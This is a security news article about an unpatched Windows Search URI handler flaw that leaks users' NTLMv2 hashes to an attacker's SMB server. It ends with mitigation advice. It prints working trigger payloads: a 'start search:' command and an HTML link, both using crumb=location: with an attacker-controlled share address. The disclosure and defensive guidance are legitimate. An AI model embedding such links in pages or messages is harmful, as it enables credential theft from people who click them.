Windows Search Handler Vulnerability Leaks NTLMv2 Hashes
A flaw in the Windows Search URI handler allows attackers to steal NTLMv2 hashes via a crafted link, similar to a previous Snipping Tool vulnerability.
A newly disclosed vulnerability in the Windows Search URI handler presents a significant security risk, allowing attackers to silently exfiltrate NTLMv2 hashes from user systems with just a single click on a malicious link. This attack vector mirrors a previously patched vulnerability in the Windows Snipping Tool (CVE-2026-33829), but Microsoft has not yet assigned a CVE or released a patch for this specific variant affecting the search handler.
The vulnerability was discovered by Huntress, who found that the Windows Search URI handler, when presented with a crafted search: link containing crumb=location:, triggers an SMB connection to an attacker-controlled server. This connection forces the user's system to authenticate, sending their Net-NTLMv2 hash to the attacker. The exploit is effective even on systems with default security settings and standard user accounts, as demonstrated on Windows 11 25H2 Pro.
To trigger the hash leak, a user needs only to click a specially crafted link. For example, a command like start "" "search:query=test&crumb=location:\\10.0.1.100\share" can initiate the process. While a command prompt execution might result in an "access denied" dialog, this occurs only after the NTLMv2 hash has already been transmitted. Crucially, only the first invocation per user logon session successfully leaks the hash, making a single successful click sufficient for an attacker.
This vulnerability is not confined to command-line execution; it can be weaponized through web browsers. Embedding a malicious link within an HTML page, such as <a href="search:query=test&crumb=location:\\10.0.1.100\share">click</a>, can cause the hash to be sent to an attacker's listening server (e.g., using Responder) simply by loading the URI in a browser like Microsoft Edge. This attack requires no user prompts or file downloads, making it particularly insidious for phishing campaigns.
Under the hood, both the search: and search-ms: URI schemes are registered separately but share a common command-line handler and DelegateExecute CLSID ({90b9bce2-b6db-4fd3-8451-35917ea1081b}). This CLSID maps to the SearchExecute COM class, meaning any input validation flaws in this component affect both URI schemes. A comprehensive fix would need to address issues within SearchExecute or the broader search handling mechanism in Windows Explorer.
While Varonis and Trellix have previously documented related NTLM leakage primitives via search-ms: and search: URIs respectively, the specific combination of the bare search: scheme with the crumb=location: parameter for NTLM leakage appears to be a novel public disclosure. Despite the technical similarities and equivalent severity to CVE-2026-33829, Microsoft has not prioritized a CVE assignment or patch for this search handler variant, deeming it "below the servicing bar."
As a mitigation, Huntress strongly recommends blocking outbound SMB traffic (TCP ports 445 and 139) on endpoints that do not require it. Additional protective measures include enforcing SMB signing, restricting or disabling NTLM authentication where feasible, and implementing logging and alerting for search: and search-ms: URIs in network traffic to detect potential exploitation attempts.